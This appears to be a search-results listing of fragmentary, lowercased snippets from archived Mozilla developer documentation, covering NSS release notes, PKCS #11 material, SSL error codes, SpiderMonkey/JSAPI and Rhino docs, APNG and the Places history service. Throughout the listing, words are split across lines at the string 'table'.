nss 3.24 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_24_rtm/src/ new in nss 3.24 nss 3.24 includes two nss softoken updates, a new function to configure ssl/tls server sockets, and two functions to improve the use of temporary arenas. ...
...r certificate transparency). in secport.h portcheaparenapool - a stack-allocated arena pool, to be used for temporary arena allocations. new macros in pkcs11t.h ckm_tls12_mac in secoidt.h sec_oid_tls_ecdhe_psk - this oid governs the use of the tls_ecdhe_psk_with_aes_128_gcm_sha256 cipher suite, which is used only for session resumption in tls 1.3. no
table changes in nss 3.24 additions, deprecations, and other changes in nss 3.24 are listed below. deprecate the following functions. (applications should instead use the new ssl_configservercert function.) ssl_setstapledocspresponses ssl_setsignedcerttimestamps ssl_configsecureserver ssl_configsecureserverwithcertchain deprecate the nss_findcertkeatype function, as it reports ...
...al to a logfile if the sslkeylogfile environment variable is set. to enable the functionality in optimized builds, you must define the symbol nss_allow_sslkeylogfile when building nss. update nss to protect it against the cachebleed attack. disable support for dtls compression. improve support for tls 1.3. this includes support for dtls 1.3. note that tls 1.3 support is experimental and not sui
table for production use. bugs fixed in nss 3.24 this bugzilla query returns all the bugs fixed in nss 3.24: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.24 acknowledgements the nss development team would like to thank yuval yarom for responsibly disclosing the cachebleed attack by providing advance copies...
NSS 3.33 release notes
api calls that attempt to enable compression are accepted without failure. ...
...api calls that attempt to enable compression are accepted without failure. however, tls compression will remain disabled. ...
...e-after-free in tls 1.2 server, when verifying client authentication. various minor improvements and correctness fixes. new in nss 3.33 new functionality when listing an nss database, using certutil -l, and the database hasn't yet been initialized with any non-empty or empty password, the text "database needs user init" will be included in the listing. when using certutil to set an inaccep
table password in fips mode, a correct explanation of accep
table passwords will be printed. new functions in cert.h cert_findcertbyissuerandsncx - a variation of existing function cert_findcertbyissuerandsn that accepts an additional password context parameter. cert_findcertbynicknameoremailaddrcx - a variation of existing function cert_findcertbynicknameoremailaddr that accepts an addit...
NSS 3.34 release notes
introduction the network security services (nss) team has released nss 3.34, which is a minor release. distribution information the hg tag is nss_3_34_rtm. nss 3.34 requires netscape por
table runtime (nspr) 4.17, or newer. ...
...rk security services (nss) team has released nss 3.34, which is a minor release. distribution information the hg tag is nss_3_34_rtm. nss 3.34 requires netscape por
table runtime (nspr) 4.17, or newer. ...
...88:f5:fb:23:16:5c:2e:61:4b:f8:85:56:2d:0d:ce:50:b2:9b:02 libfreebl no longer requires sse2 instructions. new in nss 3.34 new functionality when listing an nss database. using certutil -l, and the database hasn't yet been initialized with any non-empty or empty password, the text "database needs user init" will be included in the listing. when using certutil, to set an inaccep
table password in fips mode, a correct explanation of accep
table passwords will be printed. sslkeylogfile is now supported with tls 1.3, see bug 1287711 for details. sslchannelinfo has two new fields (bug 1396525) sslnamedgroup originalkeagroup holds the key exchange group of the original handshake, when the session was resumed. prbool resumed is pr_true when the session is resumed, and pr_f...
PKCS11 FAQ
nly" tokens, but this is not guaranteed. you should be prepared to handle temporary objects. (many nss based server products will use temporary session objects, even for "private key op only" tokens.) if a session key is unwrapped and stays on a hardware token, is it sufficient to support just the usual decryption mechanisms for it, or is it assumed that such a symmetric key will always be extrac
table from the token into the browser? the motivation for this is that some hardware tokens will prevent extraction of symmetric keys by design. nss attempts to extract an unwrapped key from a token only if the token cannot provide the necessary service with that key. for instance if you are decrypting an s/mime message and you have unwrapped the des key with the private key provided by a given token,...
...instance if you are decrypting an s/mime message and you have unwrapped the des key with the private key provided by a given token, nss attempts to use that token to provide the des encryption. only if that token cannot do des will nss try to extract the key. if the smartcard can't do key generation, will nss do the key generation automatically? yes. if your token can do ckm_rsa_pkcs, and is wri
table, nss displays it as one of the options to do key generation with. if the token cannot do ckm_rsa_pkcs_gen_keypair, nss uses its software key generation code and writes the private and public keys into the token using c_createobject. the rsa private key will contain all the attributes specified by pkcs #11 version 2.0. this is also true for ckm_dsa and ckm_dsa_gen_keypair. what is the c_generat...
...th c_createobject. nss also does a similiar operation for importing private keys and certificates through pkcs12. the above statement is true for read-write tokens only. when and how does nss generate private keys on the token? as stated above, nss uses c_generatekeypair if the token supports the keygen method. if an rsa key is being generated, the nss application will present a list of all wri
table rsa devices asks the user to select which one to use, if a dsa key is being generated, it will present a list of all the wri
table dsa devices, if an ec key is being generated, it will present a list of all wri
table ec devices. does nss ever use c_copyobject to copy symmetric keys if it needs to reference the same key for different sessions? no. this is never necessary. the pkcs #11 specificatio...
PKCS #11 Module Specs
configuring pkcs #11 modules. nss currently implements this proposal internally. the file format consists of name/value pairs of the form name=value. each name/value pair is separated by a blank value. a single line, terminated by a '\n', '\r\n', or '\r' represents a single pkcs #11 library. names can be any alpha/numeric combination, and are parsed case-insensitive. values can contain any prin
table ascii value, including utf8 characters. values can contain embedded blanks either through quoting the entire value, or by escaping the embedded blanks with '\'. the value is considered quoted if the first character after the '=' is ', ", {, [, or <. if the value is quoted, then the value is terminated with and ending quote of the form ', ", ), ], }, or > matching the respective starting quote. en...
...pen secmod.db and try to supply the strings. the mod db function is not through standard pkcs #11 interfaces. readonly databases should be opened read only. nocertdb don't try to open a certificate database. nokeydb don't try to open a key database. forceopen don't fail to initialize the token if the databases could not be opened. passwordrequired zero length passwords are not accep
table (valid only if there is a keydb). optimizespace allocate smaller hash
tables and lock
tables. when this flag is not specified, softoken will allocate large
tables to prevent lock contention. tokens configure 'tokens' by hand. the tokens parameter specifies a space separated list of slotids, each of which specify their own set of parameters affecting that token. typically 'tokens' would not ...
...s token. flags comma separated list of flag values, parsed case-insensitive. valid flags are: readonly databases should be opened read only. nocertdb don't try to open a certificate database. nokeydb don't try to open a key database. forceopen don't fail to initialize the token if the databases could not be opened. passwordrequired zero length passwords are not accep
table (valid only if there is a keydb). optimizespace allocate smaller hash
tables and lock
tables. when this flag is not specified, softoken will allocate large
tables to prevent lock contention. examples: ...
sslerr.html
be very much appreciated. upgraded documentation may be found in the current nss reference nss and ssl error codes chapter 8 nss and ssl error codes nss error codes are retrieved using the nspr function pr_geterror. in addition to the error codes defined by nspr, pr_geterror retrieves the error codes described in this chapter. ssl error codes sec error codes ssl error codes
table 8.1 error codes defined in sslerr.h constant value description ssl_error_export_only_server -12288 "unable to communicate securely. peer does not support high-grade encryption." the local system was configured to support the cipher suites permitted for domestic use. the remote system was configured to support only the cipher suites permitted for export use...
...codes are listed in other blocks.) ssl_error_handshake_unexpected_alert -12229 "ssl peer was not expecting a handshake message it received." ssl_error_decompression_failure_alert -12228 "ssl peer was unable to successfully decompress an ssl record it received." ssl_error_handshake_failure_alert -12227 "ssl peer was unable to negotiate an accep
table set of security parameters." ssl_error_illegal_parameter_alert -12226 "ssl peer rejected a handshake message for unaccep
table content." ssl_error_unsupported_cert_alert -12225 "ssl peer does not support certificates of the type it received." ssl_error_certificate_unknown_alert -12224 "ssl peer had some unspecified issue with the certificate it received...
...e premaster secret, (c) to derive the mac secrets, cryptographic keys, and initialization vectors from the master secret. if encountered repeatedly on a server socket, this can indicate that the server is actively under a "million question" attack. ssl_error_decompression_failure -12177 "ssl received a compressed record that could not be decompressed." sec error codes
table 8.2 security error codes defined in secerr.h constant value description sec_error_io -8192 an i/o error occurred during authentication; or an error occurred during crypto operation (other than signature verification). sec_error_library_failure -8191 security library failure. sec_error_bad_data -8190 security library: received bad da...
Necko walkthrough
with the nshttptransaction passed as a param - remember the event was posted earlier by initiatetransaction from the main thread). nshttpconnectionmgr::onmsgnewtransaction nshttpconnectionmgr::processnewtransaction (notice the check that we're on gsocketthread) gets conn info (i.e. hostname and port) from the transaction, and then gets or creates a connection entry from the connection
table, an nsclasshash
table<nscstringhashkey, nsconnectionentry> called mct in nshttpconnectionmgr. if a connection entry already exists matching the required conn info, then that one will be used; otherwise a new one is created (makenewconnection - creates socket etc.). note: nsconnectionentry has a single nshttpconnectioninfo object attached, a pending queue of nshttptransactions, and 3 arrays f...
...able... nshttpconnectionmgr::dispatchtransaction nshttpconnectionmgr::dispatchabstracttransaction the transaction is given an indirect reference to the connection (for use later, when the socket has received data from the far end). nshttpconnection::activate this connection is passed the transaction nshttpconnection::onoutputstreamready nshttpconnection::onsocketwri
table tries to write the request data from the current transaction (mtransaction) tells the transaction to now wait (`resumerecv) nshttpconnection::resumerecv nshttptransaction::readsegments readrequestsegment is passed to mrequeststream->readsegments - this function pointer is called and used to read the request bytes, which in turn calls ... nshttpconnection::onreadsegment...
...nsaction to now wait (`resumerecv) nshttpconnection::resumerecv nshttptransaction::readsegments readrequestsegment is passed to mrequeststream->readsegments - this function pointer is called and used to read the request bytes, which in turn calls ... nshttpconnection::onreadsegment passes bytes read from request to msocketout->write back to the context of onsocketwri
table: nsiasyncinputstream::asyncwait (i.e. msocketin) sets the callback and waits. the http request is now written to the socket, which has a callback to the nshttpconnection... note: from what i can tell, there are some cases where the transaction is queued up to be written to the socket later if it's not wri
table now, or in the case of pipelining or spdy where it's done in batches. but...
Rhino Examples
all the examples are in the git tree at mozilla/js/rhino/examples. sample scripts the unique.js script allows printing unique lines from a file. the liveconnect.js script shows a sample usage of liveconnect (java-to-javascript connectivity). the jsdoc.js script is a javascript analog to java's javadoc. it makes heavy use of regular expressions. the checkparam.js script is a useful tool to check that @param tags in java documentation comments match the parameters in the corresponding java method. ...
...pes.java is a program that creates a single global scope object and then shares it across multiple threads. sharing the global scope allows both information to be shared across threads, and amortizes the cost of context.initstandardobjects by only performing that expensive operation once. implementing host objects first check out the tutorial if you haven't already. ...
... threads, and amortizes the cost of context.initstandardobjects by only performing that expensive operation once. implementing host objects first check out the tutorial if you haven't already. the foo class - extending scrip
tableobject foo.java is a simple javascript host object that includes a property with an associated action and a variable argument method. the matrix class - implementing scrip
table matrix.java provides a simple multidimensional array by implementing the scrip
table interface. the file class - an advanced example file.java extends scrip
tableobject to provide a means of reading and writing files from javascript. a more involved example of host object definition. ...
The JavaScript Runtime
boolean java.lang.boolean number java.lang.number, that is, any of java.lang.byte, java.lang.short, java.lang.integer, java.lang.float, or java.lang.double. not java.lang.long, since a double representation of a long may lose precision. string java.lang.charsequence (java.lang.string or org.mozilla.javascript.consstring) object org.mozilla.javascript.scrip
table in addition, ecma refers to objects that implement [[call]] as functions. these object types are represented by implementing the function interface. since javascript is a dynamically typed language, the static java type of a javascript value is java.lang.object. the behavior of the javascript engine is undefined if a value of any type other than the ones described above is introduced int...
...es in javascript objects may be accessed using either string or numeric identifiers. conceptually, all accessors are converted to strings in order to perform the lookup of the property in the object. however, this is not the implementation used in practice because a number to string conversion is too expensive to be performed on every array access. instead, every property accessor method in scrip
table (has, get, set, remove, getattributes, and setattributes) has overloaded forms that take either a string or an int argument. it is the responsibility of the caller to invoke the appropriate overloaded form. for example, evaluating the expression obj["3"] will invoke the get(int, scrip
table) method even though the property name was presented in the script as a string. similarly, values of numbers ...
...he script as a string. similarly, values of numbers that do not fix in integers (like 1.1 and 0x100000000) must be converted to strings. defining host objects host objects are javascript objects that provide special access to the host environment. for example, in a browser environment, the window and document objects are host objects. the easiest way to define new host objects is by using scrip
tableobject.defineclass(). this method defines a set of javascript objects using a java class. several of the examples define host objects this way. if the services provided by defineclass are insufficient, try other methods of scrip
tableobject and functionobject, such as defineproperty and definefunctionproperties. contexts and threads every thread that executes javascript must have an associated c...
Hacking Tips
const&) (cx=0x14f2640, native=0xf89960 , args=...) at js/src/jscntxtinlines.h:235 #2 0x0000000000c87625 in js::invoke(jscontext*, js::callargs const&, js::maybeconstruct) (cx=0x14f2640, args=..., construct=js::no_construct) at js/src/vm/interpreter.cpp:476 #3 0x000000000069bdcf in js::jit::docallfallback(jscontext*, js::jit::baselineframe*, js::jit::iccall_fallback*, uint32_t, js::value*, js::mu
tablehandlevalue) (cx=0x14f2640, frame=0x7fffffff6ad8, stub_=0x1798838, argc=1, vp=0x7fffffff6a88, res=jsval_void) at js/src/jit/baselineic.cpp:6113 #4 0x00007ffff7f41395 in <<jitframe_exit>> () #5 0x00007ffff7f42223 in <<jitframe_baselinestub>> () #6 0x00007ffff7f4423d in <<jitframe_baselinejs>> () #7 0x00007ffff7f4222e in <<jitframe_baselinestub>> () #8 0x00007ffff7f4326a in <<jitframe_baselinej...
...ag. external programs such as iongraph, dot, and your png viewer are search into the path, otherwise custom one can either be configured with environment variables (gdb_iongraph, gdb_dot, gdb_pngviewer) before starting gdb, or with gdb parameters (set iongraph-bin <path>, set dot-bin <path>, set pngviewer-bin <path>) within gdb. enabling gdb instrumentation may require launching a js shell execu
table that shares a directory with a file name "js-gdb.py". if js/src/js does not provide the "iongraph" command, try js/src/shell/js. gdb may complain that ~/.gdbinit requires modification to authorize user scripts, and if so will print out directions. break on valgrind errors sometimes, a bug can be reproduced under valgrind but hardly under gdb. one way to investigate is to let valgrind start gdb...
... of the lir / mir instructions. the jsscript can be obtained from info().script(). bool codegeneratorx86shared::visitguardshape(lguardshape *guard) { if (info().script()->lineno == 16934 && guard->id() == 522) { [… another impl only for this one …] return true; } [… old impl …] [hack] spewing all compiled code i usually just add this to the apropriate execu
tablecopy. if (getenv("inst_dump")) { char buf[4096]; sprintf(buf, "gdb /proc/%d/exe %d -batch -ex 'set pagination off' -ex 'set arm force-mode arm' -ex 'x/%di %p' -ex 'set arm force-mode auto'", getpid(), getpid(), m_buffer.size() / 4, buffer); system(buf); } if you aren't running on arm, you should omit the -ex 'set arm force-mode arm' and -ex 'set arm force-mode a...
Property cache
n recording a getprop, the jit needs to know the result type before the interpreter executes the instruction. it is crucial that jit and interpreter get the same answer; possible pitfalls include native getters and resolve hooks. so the lookup must happen only once. the jit ensures this by using the property cache to forward its work to the interpreter.) for speed, the cache is a fixed-size hash
table with no chaining. collisions simply cause old entries to be overwritten. the hash
table entries are key-value pairs. the keys describe the context in which a property lookup occurs. the values consist of two word-sized members. entry->vcap caches the results of part 1 above, telling which object contains the desired property. entry->vword is described in the section entry value words below. it c...
...nerating gc occurred; then at time t1 y's own property p is the same method property. (the existence of this property is guaranteed by the basic layout guarantee above.) (informally: two objects with the same shape have the same method properties.) branded object guarantee — if at time t0 the object x has shape s; and x is branded (x->branded()); and x has an own property p, which is a wri
table, function-valued data property with the stub getter and setter and a slot; and at time t1 an object y has shape s; and no shape-regenerating gc occurred; then y is x, and at time t1 x's own property p has the same function value it had at time t0. (the existence of this property is guaranteed by the basic layout guarantee above.) (informally: branded objects have unique shapes, and if x is brande...
...the branded object guarantee (above) would make an optimization possible. a branded object always has a unique shape. overflow. if there come to be more than 224 objects that need distinct shapes, the shape rules can no longer be satisfied. the property cache cannot operate without them, so it is disabled permanently. see bug 440834. property cache entries each entry in the property cache hash
table is either populated or not; unpopulated entries have .kpc == null. if an entry is populated, the .kpc field points to the bytecode instruction at which it was populated. the entry is valid only for subsequent lookups that occur at the same instruction, for several reasons: the script, not the property cache entry, contains the id of the property being accessed. a property cache entry could b...
Tracing JIT
ne-code into memory. spidermonkey-specific high level component: jstracer.* the files jstracer.cpp and jstracer.h contain a the mechanisms of monitoring and recording the activity of the interpreter. each spidermonkey jscontext holds a trace monitor of type jstracemonitor. the trace monitor maintains some book-keeping information, as well as the collection of recorded fragments, held in a hash
table keyed by the interpreter's program counter and global object shape at the time of recording. at any moment, the trace monitor is in one of three major states: monitoring, recording, or executing. the transitions between these states are somewhat complex and delicate, but the overall picture is simple: monitoring the trace monitor's initial state is monitoring. this means that spidermonkey is...
...is interpreting bytecode. every timespidermonkey interprets a backward-jump bytecode, the monitor makes note of the number of times the jump-target program-counter (pc) value has been jumped-to. this number is called the hit count for the pc. if the hit count of a particular pc reaches a threshold value, the target is considered hot. when the monitor decides a target pc is hot, it looks in a hash
table of fragments to see if there is a fragment holding native code for that target pc. if it finds such a fragment, it transitions to executing mode. otherwise it transitions to recording mode. recording when the trace monitor enters recording mode, it constructs a new trace recorder, of type tracerecorder. it then passes control back to the spidermonkey interpreter. the interpreter continues inter...
...e monitor blacklists the pc and will not attempt recording it any longer. if the recorder completes recording at a backward branch back to the initial pc value that triggered recording mode, it is said to have successfully closed the loop. a closed loop is passed through the nanojit assembler and thereby compiled to native machine code. the associated fragment is placed in the monitor's fragment
table and the monitor returns to monitoring mode, with a high likelihood of immediately transitioning to executing mode on the next bytecode interpreted. the compiled fragment of code returned to the monitor on successful loop-close is called a trace. if the recorder is asked to record a bytecode that implies a call to a native function elsewhere in spidermonkey -- some helper function written in c --...
Introduction to the JavaScript shell
runs the javascript program specified by filename. -i enables interactive mode. (default if no filename is provided.) --no-ion disables the optimizing jit compiler. --no-baseline disables the baseline jit compiler. -p if the first line of the file is "/usr/bin/env js -p", then the file content will be interpreted by the javascript engine. this enables you to make a javascript file execu
table on unix and os x machines. -s enables strict warning mode. -w, --warnings enables warning messages. -w, --nowarnings disables warning messages. environment options there are some environment variables that can be set to alter js shell behavior. js_stdout=file redirect stdout to file. js_stderr=file redirect stderr to file. built-in functions to make the javascript shell more use...
...onfigure garbage collector parameters. the name must be one of the parameter keys (such as 'maxbytes', 'maxmallocbytes' or 'gcnumber') defined by for_each_gc_param in https://searchfox.org/mozilla-central/source/js/src/builtin/testingfunctions.cpp#464. if value is not specified, gcparam() returns the current value associated with gc parameter named name. if value is specified, it must be conver
table to a positive uint32; gcparam() sets gc parameter name to value. for more information, see the c/c++ functions js_getgcparameter and js_setgcparameter. gczeal(level) added in spidermonkey 1.8 debug only. set the level of gc zeal, a debugging feature. this can be 0 for normal periodic garbage collection, 1 for very frequent gc, or 2 for extremely frequent gc. anything other than 0 will make ja...
... getpda(object) returns the property descriptors for the specified object. getslx(object) returns the script line extent, which is the number of lines of code comprising the specified object. help([command ...]) displays brief help information about the specified commands, or about all available functions if none are specified. intern(string) internalizes the specified string into the atom
table. every string has a unique identifier, called an atom. this system makes it easier to do comparisons between strings. note: this function is intended only for use when testing the javascript engine. line2pc([function, ] line) returns the program counter value corresponding to the specified line of code. if function is specified, line is an offset into the specified function. load(filename1 [f...
JSAPI Cookbook
rtain that y is an object (that is, not a boolean, number, string, null, or undefined), this is fairly straightforward. use jsval_to_object to cast y to type jsobject *. /* jsapi */ js::rootedvalue x(cx); assert(y.isobject()); js::rootedobject yobj(cx, &y.toobject()); if (!js_getproperty(cx, yobj, "myprop", &x)) return false; that code will crash if y is not an object. that's often unaccep
table. an alternative would be to simulate the behavior of the javascript . notation exactly. it's a nice thought—javascript wouldn't crash, at least—but implementing its exact behavior turns out to be quite complicated, and most of the work is not particularly helpful. usually it is best to check for !y.isobject() and throw an error with a nice message. /* jsapi */ js::rootedvalue x(cx); if (!y...
... return false; if (found) { // then do something } defining a constant property this is the first of three examples involving the built-in function object.defineproperty(), which gives javascript code fine-grained control over the behavior of individual properties of any object. you can use this function to create a constant property, one that can't be overwritten or deleted. ...
...u can use this function to create a constant property, one that can't be overwritten or deleted. specify wri
table: false to make the property read-only and configurable: false to prevent it from being deleted or redefined. the flag enumerable: true causes this property to be seen by for-in loops. // javascript object.defineproperty(obj, "prop", {value: 123, wri
table: false, enumerable: true, configurable: false}); the analogous jsapi function is js_defineproperty. the property attribute jsprop_readonly corresponds to writeable: false, jsprop_enumerate to enumerable: true, and jsprop_permanent to configurable: false. to get the opposite behavior for any of these settings, simply omit th...
JS::CompileFunction
article covers features introduced in spidermonkey 17 create a javascript function from a text string. ...
..., const char *const *argnames, const char16_t *chars, size_t length, js::mu
tablehandlefunction fun); bool js::compilefunction(jscontext *cx, js::autoobjectvector &scopechain, const js::readonlycompileoptions &options, const char *name, unsigned nargs, const char *const *argnames, js::sourcebufferholder &srcbuf, js::mu
tablehandlefunction fun); bool js::compilefunction(jscontext *cx, js::autoobjectvector &scopechain, const js::readonlycompileoptions &options, const char *name, unsigned nargs, const char *const *argnames, const char *bytes, size_t length, js::mu
tablehandlefunction fun); name type description cx jscontext * the...
...s passed to the function. chars const char16_t * string containing the body of the function to compile. bytes const char * string containing the body of the function to compile. length size_t the length, in characters, of body. srcbuf js::sourcebufferholder & source buffer containing the script function compile. fun js::mu
tablehandlefunction out parameter. on success, fun receives the result function. description js::compilefunction compiles a function from a text string chars, bytes, or srcbuf. name is the name to assign to the newly created function. nargs is the number of arguments the function takes, and argnames is a pointer to the first element of an array of names to assign each argument. the number o...
JS_GetLocaleCallbacks
backs * pointer to a jslocalecallbacks struct. ...
... js...
... #if expose_intl_api jslocaletounicode localetounicode; }; typedef bool (* jslocaletouppercase)(jscontext *cx, js::handlestring src, js::mu
tablehandlevalue rval); typedef bool (* jslocaletolowercase)(jscontext *cx, js::handlestring src, js::mu
tablehandlevalue rval); typedef bool (* jslocalecompare)(jscontext *cx, js::handlestring src1, js::handlestring src2, js::mu
tablehandlevalue rval); typedef bool (* jslocaletounicode)(jscontext *cx, const char *src, js::mu
tablehandlevalue rval); type description jslocaletouppercase implementation of string.prototype.tolocaleuppercase() function. jslocaletolowercase implementation of string.prototype.tolocalelowercase() function. jslocalecompare implementation of string.protot...
JS_GetPropertyDescriptor
requires request. ...
... specified property of an object and gets a detailed description of that property. syntax bool js_getpropertydescriptor(jscontext *cx, js::handleobject obj, const char *name, js::mu
tablehandle<jspropertydescriptor> desc); // added in spidermonkey 31 bool js_getpropertydescriptorbyid(jscontext *cx, js::handleobject obj, js::handleid id, js::mu
tablehandle<jspropertydescriptor> desc); name type description cx jscontext * a context. requires request. ...
...on success, if no property is found, desc->obj is set to null. if a property is found, *desc receives a description of it. description js_getpropertydescriptor and js_getpropertydescriptorbyid find a specified property of an object and gets a detailed description of that property on the prototype chain (returned in desc->obj). ...
SpiderMonkey 31
thod (currently non-mandatory, but highly recommended as it may become mandatory in the future) uninitializes spidermonkey, cleaning up memory and allocations performed by js_init. a major change to spidermonkey in 31 is that its apis support a moving garbage collector. this entailed changing the vast majority of the jsapi from raw types, such as js::value or js::value*, to js::handle and js::mu
tablehandle template types that encapsulate access to the provided value/string/object or its location. the js::handle<js::value> and js::mu
tablehandle<js::value> classes have been specialized to implement the same interface as js::value, for simplicity and to ease migration pain. changes to introduce handles to the jsapi are not individually documented, because of the breadth of the changes involved...
...tionality. applications will need significant changes, but most of those changes will be detected by the c/c++ compiler, so they are easy to detect and updating the code is a fairly straightforward job. here is a list of the most significant changes: many of the garbage collector changes require type signature changes to jsapi methods: specifically introducing js::rooted, js::handle, and js::mu
tablehandle types. these types, with the appropriate parametrizations, can roughly be substituted for plain types of gc things (values, string/object pointers, etc.). the jsbool type has been removed, along with the corresponding js_true and js_false constants. they have been replaced by bool, true, and false respectively. many jsclass and js::class instances are now explicitly const, and several a...
... threadsafe shell no longer requires nspr. embedders still need to build with nspr, as the new wrappers require using spidermonkey internal functions which are not exposed to the public api. known issues detail any known issues here... future direction ...insert details on future plans... spidermonkey embedders should be aware that mozilla has no plans to keep the jsapi, nor the jsdbgapi s
table for embedders. we have chosen to concentrate on performance and correctness as primary concerns instead. js_threadsafe is going away, with future versions supporting only thread-safe builds a new debugging api is on the way to replace jsd. release notes errata this is a list of changes which need to be made to the release notes asap. feel free to fix any problems you spot -- this is a wiki! ...
SpiderMonkey 38
s in an interpreter, as in previous versions. it's the same language, just not as fast. migrating to spidermonkey 38 .... xxx will need updating for actual new gc stuff at time! a major change to spidermonkey in 38 is that its apis support a moving garbage collector. this entailed changing the vast majority of the jsapi from raw types, such as js::value or js::value*, to js::handle and js::mu
tablehandle template types that encapsulate access to the provided value/string/object or its location. the js::handle<js::value> and js::mu
tablehandle<js::value> classes have been specialized to implement the same interface as js::value, for simplicity and to ease migration pain. changes to introduce handles to the jsapi are not individually documented, because of the breadth of the changes involved...
...erves the js:: namespace for itself (and the js:: namespace for internal use). ...
...ue or false to indicate whether subsequent attempts to add a new property will fail, yet also itself may throw in some cases. javascript shell changes detail added/removed methods here... known issues detail any known issues here... future direction ...insert details on future plans... spidermonkey embedders should be aware that mozilla has no plans to keep the jsapi, nor the jsdbgapi, s
table for embedders. we have chosen to concentrate on performance and correctness as primary concerns instead. js_threadsafe is going away, with future versions supporting only thread-safe builds a new debugging api is on the way to replace jsd. release notes errata this is a list of changes which need to be made to the release notes asap. feel free to fix any problems you spot -- this is a wiki! ...
Mozilla Projects
y, it focuses on the process of digitally signing update manifests so the applications can verify the integrity of a manifest retrieved over normally insecure channels. midas midas is the code name for gecko's built-in rich text editor. midas can be enabled via javascript on an html document. when midas is enabled, the document becomes edi
table by the user. scripting for midas is based on the dhtml commands supported by internet explorer. internet explorer supports the ability to make an entire document edi
table by setting the designmode property of the document object; this is how midas is invoked in gecko. internet explorer also supports the ability to edit specific elements using the contenteditabl...
...once midas is invoked, a few more methods of the document object become available. mozinfo throughout mozmill and other mozilla python code, checking the underlying platform is done in many different ways. ...
...nss) is a set of libraries designed to support cross-platform development of security-enabled client and server applications. applications built with nss can support ssl v3, tls, pkcs #5, pkcs #7, pkcs #11, pkcs #12, s/mime, x.509 v3 certificates, and other security standards. nspr netscape por
table runtime (nspr) provides a platform-neutral api for system level and libc-like functions. the api is used in the mozilla clients, many of red hat's and oracle's server applications, and other software offerings. personal security manager (psm) personal security manager (psm) consists of a set of libraries that perform cryptographic operations o...
Animated PNG graphics
authors the apng specification was authored by: stuart parmenter <pavlov@pavlov.net> vladimir vukicevic <vladimir@pobox.com> andrew smith <asmith15@littlesvr.ca> overview apng is an extension of the por
table network graphics (png) format, adding support for animated images. it is intended to be a replacement for simple animated images that have traditionally used the gif format, while adding support for 24-bit images and 8-bit transparency. apng is a simpler alternative to mng, providing a spec sui
table for the most common usage of animated images on the internet. apng is backwards-compatible with png; any png decoder should be able to ignore the apng-specific chunks and display a single image. terminology the default image is the image described by the standard 'idat' chunks, and ...
... both chunk types share the sequence. the purpose of this number is to detect (and optionally correct) sequence errors in an animated png, since the png specification does not impose ordering restrictions on ancillary chunks. the first 'fctl' chunk must contain sequence number 0, and the sequence numbers in the remaining 'fctl' and 'fdat' chunks must be in order, with no gaps or duplicates. the
tables below illustrates the use of sequence numbers for images with more than one frame and more than one 'fdat' chunk. if the default image is the first frame: sequence number chunk (none) 'actl' 0 'fctl' (first frame) (none) 'idat' (first frame -- used as the default image) 1 'fctl' (second frame) 2 'fdat' (first 'fdat' for se...
...from 0.10 no changes test encoder and sample images sample images are available from the apng implementation page at http://littlesvr.ca/apng/ an encoder (open source) is available in versions of the gecko engine starting with version 1.9 alpha 4. an application (open source) using the mozilla encoder to assemble apngs available here: http://littlesvr.ca/apng/apngedit.html see also por
table network graphics (png) specification (second edition) extensions to the png specification, version 1.2.0 graphics interchange format 89a ...
History Service Design
act accordingly (maybe restoring a backup). once the database connection has been set-up the schema version of the database is checked. schema version is upgraded every time a change is made to the database schema, history service will eventually upgrade the database, moving and fixing its datas accordingly. in case the database has been created for the first time history service will create all
tables, indexes and triggers, calling related init
tables static methods of other dependant services. finally temporary
tables, indexes and triggers are created, this happens at every run since those entities are removed when closing the connection. temporary storage is used to avoid too frequent writes to the disk, since those are most likely to cause fsyncs (to ensure data integrity) on the target fi...
...d constantly tested against large databases. database indexes are quite important, and a good query can make the difference between minutes or seconds. many queries are especially optimized, for example limited history queries, often used to build menus, allowing for good performances even in presence of a really large history. storing pages and visits pages (intended as uris) are stored into a
table shared by both history and bookmarks, every url is unique in this
table and is associated with a place id, commonly used as the foreign key on other
tables. this
table has common attributes for a page like typed, hidden and frecency. certain scheme are excluded from history, so they will never be added, for example: about, view-source, chrome. if a page can be added we first check if it exists a...
...ibutes, or can be containers (folders, other queries, dynamic containers and so on). see querying places for deeper knowledge on the actual implementation. expiration expiration is an important part of data management for two reasons: privacy: expiring data based on user interaction is important, nothing must be left behind on a page removal database maintenance: having cleaner and smaller
tables helps queries performances expiration is done at certain moments, but in future will most likely be moved to async queries, to be executed on a separate thread. actually pages and visits are expired: on page added (lazily) on idle on shutdown expiration of pages happens when a page is no more referenced, so there are no more visits, nor bookmarks associated with it. visits are expired b...
Using the Places history service
e lost. use quit-application-granted instead. differences from previous implementations the previous nsglobalhistory service stored one entry for each page in history. this entry contained the url, title, visit count, last visit date, first visit date, host name, last referrer, flags for typed, hidden, and gecko flags (gecko flags is trunk only). ...
...ferences from previous implementations the previous nsglobalhistory service stored one entry for each page in history. this entry contained the url, title, visit count, last visit date, first visit date, host name, last referrer, flags for typed, hidden, and gecko flags (gecko flags is trunk only). the navhistory service has broken this into two
tables (see history service design). ...
... this separation of the global page information and the visit allows us to store information about each time the page was visited instead of just the last time. ...
Finishing the Component
are reordered, some are added, others are removed. moreover, since this interface was never supposed to be used by clients other than gecko or mozilla, the maintainers of the interface don't know that it's being used, and don't change the iid of the interface. when your component runs in a version of gecko in which this interface is updated, your method calls will be routed through a different v-
table than the one the component expected, most likely resulting in a crash. below, the component is compiled against a version of the nsifoo interface that has three methods. the component calls the method testa and passes an integer, 10. this works fine in any gecko installation where a contract guarantees that the interface that was compiled against has the same signature. however, when this same c...
...three methods. the component calls the method testa and passes an integer, 10. this works fine in any gecko installation where a contract guarantees that the interface that was compiled against has the same signature. however, when this same component is used in a gecko installation where this interface has changed, the method testa does not exist in the nsifoo interface; the first entry in the v-
table is in fact isprime(). when this method call is made, the code execution treats the isprime method as testa. needless to say, this is a bad thing. furthermore, there is no way easy way to realize this error at runtime. gecko developers could change the interface's iid, and some do. this can prevent many errors like this. but unfrozen interfaces are not supported in any formal way, and relying u...
...s could change the interface's iid, and some do. this can prevent many errors like this. but unfrozen interfaces are not supported in any formal way, and relying upon a different iid for any change in the interface is not a good idea either. when using frozen interfaces, you are guaranteed compatibility with future versions of gecko. the only trouble occurs when the compiler itself changes its v-
